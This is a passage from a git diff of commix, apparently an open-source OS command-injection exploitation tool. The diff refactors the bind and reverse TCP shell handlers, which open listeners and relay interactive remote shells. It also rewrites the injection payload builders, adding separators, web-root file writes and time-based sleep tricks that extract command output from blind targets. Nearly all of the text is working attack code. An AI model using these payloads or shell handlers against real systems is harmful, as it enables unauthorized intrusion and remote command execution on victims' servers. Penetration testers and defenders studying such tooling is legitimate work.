bind_tcp_config_generic(execute_cmd, cmd, go_back, go_back_again, filename, url, separator=""): + def launch(cmd): + send_result = {} + threading.Thread(target=session_relay.run_payload_send, args=(execute_cmd, cmd, send_result), daemon=True).start() + + if settings.HANDLER and not settings.LAST_SELECTED_MODULE.startswith("meterpreter/"): + info_msg = "Started bind TCP handler against " + settings.RHOST + ":" + settings.LPORT + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + conn = _probe_bind_connection(settings.RHOST, settings.LPORT, keep_open=True) + if conn: + info_msg = "Session opened (" + settings.RHOST + ":" + settings.LPORT + ")." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + session_relay.interactive_relay(conn, filename, url) + else: + _report_bind_failure(send_result) + else: + info_msg = "Verifying the connection to " + settings.RHOST + ":" + settings.LPORT + "..." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if _probe_bind_connection(settings.RHOST, settings.LPORT): + info_msg = "Connected. Use 'nc " + settings.RHOST + " " + settings.LPORT + "' to interact with the shell." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + else: + _report_bind_failure(send_result) + + return _tcp_config_generic("bind_tcp", bind_tcp.bind_tcp_options, launch, reverse_tcp_config_generic, + execute_cmd, cmd, go_back, go_back_again, filename, url, separator) """ -Check commix shell options +Configure the reverse TCP shell, dispatching command execution through the given executor callback. """ -def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE): - os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) +def reverse_tcp_config_generic(execute_cmd, cmd, go_back, go_back_again, filename, url, separator=""): + def launch(cmd): + if settings.HANDLER and not settings.LAST_SELECTED_MODULE.startswith(("meterpreter/", "web_delivery/")): + server = _local_listener_active(settings.LHOST, settings.LPORT, keep_listening=True) + if server is None: + warn_msg = "Could not listen on " + settings.LHOST + ":" + settings.LPORT + " - either something is already " + warn_msg += "bound there, or that address isn't local to this host. Falling back to the external-listener workflow for this run." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + shell = _execute_shell_launch(execute_cmd, cmd, filename, url) + if shell: + settings.print_data_to_stdout(settings.command_execution_output(shell)) + else: + info_msg = "Started reverse TCP handler on " + settings.LHOST + ":" + settings.LPORT + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + server.settimeout(session_relay.ACCEPT_TIMEOUT) + result = {} + sender = threading.Thread(target=session_relay.run_payload_send, args=(execute_cmd, cmd, result), daemon=True) + sender.start() + try: + try: + conn, addr = server.accept() + except socket.timeout: + err_msg = "No connection observed back on " + settings.LHOST + ":" + settings.LPORT + " - the reverse " + err_msg += "shell likely didn't come back (target unreachable, missing interpreter on the target, or blocked egress)." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + _report_send_failure(result) + except KeyboardInterrupt: + back_or_quit_prompt("Waiting for the callback interrupted. [(b)ack/(q)uit] ", filename, url) + else: + info_msg = "Session opened (" + settings.LHOST + ":" + settings.LPORT + info_msg += " -> " + str(addr[0]) + ":" + str(addr[1]) + ")." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + session_relay.interactive_relay(conn, filename, url) + finally: + server.close() + else: + # HANDLER on but still here means the shell needs its own listener, so say why. + if settings.HANDLER: + warn_msg = "The built-in handler cannot catch a '" + settings.LAST_SELECTED_MODULE + "' shell " + warn_msg += "(it needs Metasploit's own handler). Using the external-listener workflow." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + listener_was_active = _local_listener_active(settings.LHOST, settings.LPORT) + if not listener_was_active: + warn_msg = "No listener detected on " + settings.LHOST + ":" + settings.LPORT + ". " + warn_msg += "Start one first (e.g. 'nc -lvp " + settings.LPORT + "') or the callback will be missed." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + else: + info_msg = "Check your external listener on " + settings.LHOST + ":" + settings.LPORT + " for the connection." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + send_result = {} + threading.Thread(target=session_relay.run_payload_send, args=(execute_cmd, cmd, send_result), daemon=True).start() + time.sleep(2) + # Only catches a fast failure - a send still in flight is the normal case and reports nothing. + if send_result.get("error"): + err_msg = "Sending the payload failed: " + str(send_result["error"]) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + + return _tcp_config_generic("reverse_tcp", reverse_tcp.reverse_tcp_options, launch, bind_tcp_config_generic, + execute_cmd, cmd, go_back, go_back_again, filename, url, separator) + +TCP_MODE_CONFIGS = { + "bind_tcp": bind_tcp_config_generic, + "reverse_tcp": reverse_tcp_config_generic, +} + +""" +Check commix shell options, dispatching command execution through the given executor callback. +""" +def check_option_generic(execute_cmd, cmd, go_back, go_back_again, filename, url, separator=""): + os_shell_option = checks.check_os_shell_options(cmd.lower(), filename, url) if os_shell_option == "back" or os_shell_option == True or os_shell_option == False: go_back = True @@ -133,25 +306,38 @@ def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_m go_back_again = True return go_back, go_back_again - # The "os_shell" option - elif os_shell_option == "os_shell": - warn_msg = "You are in the '" + os_shell_option + "' mode." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + # Bare mode names no longer switch mode - "use <mode>" does (see below). + elif os_shell_option in ("os_shell", "reverse_tcp", "bind_tcp"): + err_msg = "Type 'use " + os_shell_option + "' to switch to that mode." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) return go_back, go_back_again - # The "bind_tcp" option - elif os_shell_option == "bind_tcp": - go_back, go_back_again = bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) - return go_back, go_back_again + # "use os_shell" / "use bind_tcp" / "use reverse_tcp" - switch mode, mirroring the + # "use payload <name>" flow inside the reverse_tcp/bind_tcp modes themselves. + # os_shell_option is None for "?" (check_os_shell_options() prints the help itself + # and returns nothing) - guard before slicing it. + elif os_shell_option and (os_shell_option == "use" or os_shell_option[0:4] == "use "): + use_target = os_shell_option[3:].strip() - # The "reverse_tcp" option - elif os_shell_option == "reverse_tcp": - go_back, go_back_again = reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) - return go_back, go_back_again + if use_target == "os_shell": + warn_msg = "You are in the 'os_shell' mode." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return go_back, go_back_again + + elif use_target in TCP_MODE_CONFIGS: + go_back, go_back_again = TCP_MODE_CONFIGS[use_target](execute_cmd, cmd, go_back, go_back_again, filename, url, separator) + if not settings.BIND_TCP and not settings.REVERSE_TCP: + info_msg = "Selected (default) mode: 'os_shell'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return go_back, go_back_again + + else: + common.invalid_option(cmd) + return go_back, go_back_again # The "quit" / "exit" options elif os_shell_option == "quit" or os_shell_option == "exit": - checks.quit(filename, url, _ = True) + checks.quit(filename, url, hard_exit=True) else: return go_back, go_back_again diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 1fc1606200..42f97afcfe 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -23,7 +23,7 @@ The "classic" injection technique handler. """ def cb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique): - return handler.do_results_based_proccess(url, timesec, filename, http_request_method, injection_type, technique) + return handler.do_results_based_process(url, timesec, filename, http_request_method, injection_type, technique) """ The exploitation function. diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index 7804828c81..854d7315d6 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -14,6 +14,7 @@ """ from src.utils import settings +from src.core.injections.controller import checks """ The classic injection technique on Classic OS Command Injection. @@ -53,8 +54,7 @@ def decision(separator, TAG, randv1, randv2): settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + TAG ) - if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) return payload @@ -88,8 +88,7 @@ def decision_alter_interpreter(separator, TAG, randv1, randv2): TAG + "')\"" ) - if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) return payload @@ -118,8 +117,7 @@ def cmd_execution(separator, TAG, cmd): settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + TAG ) - if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) return payload @@ -149,8 +147,7 @@ def cmd_execution_alter_interpreter(separator, TAG, cmd): TAG + "'%2B'" + TAG + "')\"" ) - if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) return payload diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index f1bece891c..f310f57047 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -23,7 +23,7 @@ The "eval-based" injection technique handler. """ def eb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique): - return handler.do_results_based_proccess(url, timesec, filename, http_request_method, injection_type, technique) + return handler.do_results_based_process(url, timesec, filename, http_request_method, injection_type, technique) """ The exploitation function. diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 1661dabff7..054da8b20b 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -23,7 +23,7 @@ The "file-based" injection technique handler """ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): - return handler.do_results_based_proccess(url, timesec, filename, http_request_method, injection_type, technique) + return handler.do_results_based_process(url, timesec, filename, http_request_method, injection_type, technique) """ The exploitation function. diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index 5b02a3c8b7..fd2a66af0d 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -18,7 +18,6 @@ The available "file-based" payloads. """ -from src.utils import menu from src.utils import settings from src.core.injections.controller import checks @@ -38,11 +37,22 @@ def decision(separator, TAG, OUTPUT_TEXTFILE): "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE ) - if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) return payload +""" +Combined multi-tag decision payload for false-positive verification (Unix only). +""" +def decision_combined(separator, tags, OUTPUT_TEXTFILE): + writes = [] + for index, tag in enumerate(tags): + operator = settings.FILE_WRITE_OPERATOR if index == 0 else settings.FILE_APPEND_OPERATOR + writes.append("echo " + tag + operator + settings.WEB_ROOT + OUTPUT_TEXTFILE) + payload = separator + separator.join(writes) + payload = checks.append_custom_marker(payload, separator) + return payload + """ __Warning__: The alternative shells are still experimental. """ @@ -59,18 +69,24 @@ def decision_alter_interpreter(separator, TAG, OUTPUT_TEXTFILE): settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX ) - if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True : - payload = payload.replace(settings.END_LINE.LF, separator) - else: - if settings.TARGET_OS != settings.OS.WINDOWS: - payload = payload.replace(settings.END_LINE.LF,"%0d") + payload = checks.fix_newlines_for_headers(payload, separator) + + return payload + +""" +Combined multi-tag decision_alter_interpreter payload for false-positive verification (Unix only). +""" +def decision_combined_alter_interpreter(separator, tags, OUTPUT_TEXTFILE): + writes = "".join("f.write('" + tag + "')\n" for tag in tags) + payload = (separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\n" + writes + "f.close()\n\"" + settings.CMD_SUB_SUFFIX + ) + + payload = checks.append_custom_marker(payload, separator) + + payload = checks.fix_newlines_for_headers(payload, separator) return payload @@ -94,8 +110,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE ) - if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) return payload @@ -122,18 +137,9 @@ def cmd_execution_alter_interpreter(separator, cmd, OUTPUT_TEXTFILE): settings.CMD_SUB_PREFIX + "echo " + cmd_exec + settings.CMD_SUB_SUFFIX + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX ) - if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace(settings.END_LINE.LF, separator) - else: - if settings.TARGET_OS != settings.OS.WINDOWS: - payload = payload.replace(settings.END_LINE.LF,"%0d") + payload = checks.fix_newlines_for_headers(payload, separator) return payload diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 661bc0aa63..b6982c53a9 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -14,8 +14,8 @@ """ from src.utils import settings -from src.core.injections.controller import checks from src.core.injections.controller import handler +from src.core.injections.controller import checks """ The "tempfile-based" injection technique on semiblind OS command injection. @@ -26,7 +26,7 @@ The "tempfile-based" injection technique handler """ def tfb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): - return handler.do_time_related_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) + return handler.do_time_related_process(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) """ The exploitation function. @@ -40,6 +40,7 @@ def exploitation(url, timesec, filename, tmp_path, http_request_method, url_time injection_type = settings.INJECTION_TYPE.SEMI_BLIND technique = settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED + settings.BASELINE_TARGET = (url, http_request_method) if tfb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) == False: settings.TIME_RELATED_ATTACK = settings.TEMPFILE_BASED_STATE = False diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 73a81bc684..ee6ddc6fdf 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -26,6 +26,7 @@ Tempfile-based decision payload (check if host is vulnerable). """ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): + payload = "" if settings.TARGET_OS == settings.OS.WINDOWS: if separator in ("|", "||"): pipe = "|" @@ -49,16 +50,23 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): pass else: - if separator in (";", "%0a") : + if separator in (";", "%0a", "%0d%0a") : payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + - "if [ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + - "then sleep " + str(timesec) + separator + - "fi" + "sleep $((" + str(timesec) + "*(" + str(j) + "==${" + settings.RANDOM_VAR_GENERATOR + "1})))" ) + elif separator == "%26": + payload = (separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "&&" + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + "&&" + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}&&" + + "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]&&" + + "sleep " + str(timesec) + ) + elif separator == _urllib.parse.quote("&&") : ampersand = _urllib.parse.quote("&") payload = (ampersand + @@ -70,20 +78,18 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "sleep " + str(timesec) ) separator = _urllib.parse.unquote(separator) - elif separator == "||" : + + elif separator in ("|", "||"): pipe = "|" - # Keep the leading pipe and "||" syntax; run the length check pipe-free in a subshell. payload = (pipe + - "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe + - "[ " + str(j) + " -ne $(" + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + ";" + - "echo ${#" + settings.RANDOM_VAR_GENERATOR + "}) ] " + separator + + "[ " + str(j) + " -ne $(printf '%s' \"" + TAG + "\"" + pipe + "tee " + OUTPUT_TEXTFILE + pipe + "wc -c) ]" + "||" + "sleep " + str(timesec) ) else: pass if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) return payload @@ -91,6 +97,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): __Warning__: The alternative shells are still experimental. """ def decision_alter_interpreter(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): + payload = "" if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" if separator in ("|", "||"): @@ -115,14 +122,12 @@ def decision_alter_interpreter(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http pass else: - if separator in (";", "%0a") : + if separator in (";", "%0a", "%0d%0a") : payload = (separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + - "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + - "fi" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep($((" + str(timesec) + "*(" + str(j) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX ) elif separator == _urllib.parse.quote("&&") : ampersand = _urllib.parse.quote("&") @@ -134,19 +139,25 @@ def decision_alter_interpreter(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) - elif separator == "||" : + elif separator == "%26": + payload = (separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + settings.SINGLE_WHITESPACE + + "[ " + str(j) + " -eq " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + " ]" + "&&" + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + ) + elif separator in ("|", "||"): pipe = "|" payload = (pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + settings.SINGLE_WHITESPACE + # Find the length of the output, using readline(). - "[ " + str(j) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + + "[ " + str(j) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + "||" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) else: pass if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) return checks.sanitize_payload_newlines(payload) @@ -156,11 +167,16 @@ def decision_alter_interpreter(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http def condition_check(separator, condition, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: return None - if separator in (";", "%0a"): + if separator in (";", "%0a", "%0d%0a"): payload = (separator + - "if [ " + condition + " ]" + separator + - "then sleep " + str(timesec) + separator + - "fi" + "[ " + condition + " ]" + separator + + settings.RANDOM_VAR_GENERATOR + "=$?" + separator + + "sleep $((" + str(timesec) + "*(" + settings.RANDOM_VAR_GENERATOR + "==0)))" + ) + elif separator == "%26": + payload = (separator + + "[ " + condition + " ]" + "&&" + + "sleep " + str(timesec) ) elif separator == _urllib.parse.quote("&&"): payload = (_urllib.parse.quote("&") + @@ -168,17 +184,17 @@ def condition_check(separator, condition, timesec, http_request_method): "[ " + condition + " ]" + separator + "sleep " + str(timesec) ) - elif separator == "||": + elif separator in ("|", "||"): pipe = "|" payload = (pipe + - "[ ! " + condition + " ]" + separator + + "[ ! " + condition + " ]" + "||" + "sleep " + str(timesec) ) else: return None if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) return checks.sanitize_payload_newlines(payload) @@ -186,6 +202,8 @@ def condition_check(separator, condition, timesec, http_request_method): Execute shell commands on vulnerable host. """ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method, operator="-le"): + payload = "" + inverted_operator = "-gt" if operator == "-le" else "-ne" if settings.TARGET_OS == settings.OS.WINDOWS: if separator in ("|", "||"): pipe = "|" @@ -223,23 +241,32 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth pass else: settings.USER_APPLIED_CMD = cmd - if separator in (";", "%0a") : + if separator in (";", "%0a", "%0d%0a") : + arith_operator = "<=" if operator == "-le" else "==" payload = (separator + - settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '" + settings.END_LINE.ESCAPED_LF + "' ' ' < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - # Quoted - an unquoted "$VAR" here word-splits on internal whitespace, - # collapsing runs of spaces/tabs in the command's real output. - "echo \"$" + settings.RANDOM_VAR_GENERATOR + "\" > " + OUTPUT_TEXTFILE + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '" + settings.END_LINE.ESCAPED_LF + "' '\\040' <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "echo \"$" + settings.RANDOM_VAR_GENERATOR + "\" >" + OUTPUT_TEXTFILE + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + - # Use -le for bisection; rewrite the payload each time to keep repeated matches harmless. - "if [ " + str(j) + " " + operator + " ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + - "then sleep " + str(timesec) + separator + + "sleep $((" + str(timesec) + "*(" + str(j) + arith_operator + settings.RANDOM_VAR_GENERATOR + "1)))" + separator + # Transform to ASCII - settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1 < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "echo $" + settings.RANDOM_VAR_GENERATOR + "1 > " + OUTPUT_TEXTFILE + separator + - "fi" + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1 <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "echo $" + settings.RANDOM_VAR_GENERATOR + "1 >" + OUTPUT_TEXTFILE ) + elif separator == "%26": + payload = (separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "&&" + " tr '" + settings.END_LINE.ESCAPED_LF + "' '\\040' <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + "&&" + + "echo \"$" + settings.RANDOM_VAR_GENERATOR + "\" >" + OUTPUT_TEXTFILE + "&&" + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + "&&" + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}&&" + + "[ " + str(j) + " " + operator + " ${" + settings.RANDOM_VAR_GENERATOR + "1} ]&&" + + "sleep " + str(timesec) + "&&" + + # Transform to ASCII + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1 <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + "&&" + + "echo $" + settings.RANDOM_VAR_GENERATOR + "1 >" + OUTPUT_TEXTFILE + ) + elif separator == _urllib.parse.quote("&&") : ampersand = _urllib.parse.quote("&") payload = (ampersand + @@ -249,28 +276,26 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + - # -le (not -eq) makes this bisectable like time-based's length check. "[ " + str(j) + " " + operator + " ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + "sleep " + str(timesec) + separator + # Transform to ASCII settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "echo $" + settings.RANDOM_VAR_GENERATOR + "1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE ) - elif separator == "||" : + + elif separator in ("|", "||"): pipe = "|" cmd = cmd.rstrip() cmd = checks.add_command_substitution(cmd) payload = (pipe + - cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe + - "[ " + str(j) + " -ne $(" + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + ";" + - "echo ${#" + settings.RANDOM_VAR_GENERATOR + "}) ]" + separator + + "[ " + str(j) + settings.SINGLE_WHITESPACE + inverted_operator + " $(" + cmd + pipe + "tee " + OUTPUT_TEXTFILE + pipe + "wc -c) ]" + "||" + "sleep " + str(timesec) ) else: pass if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + 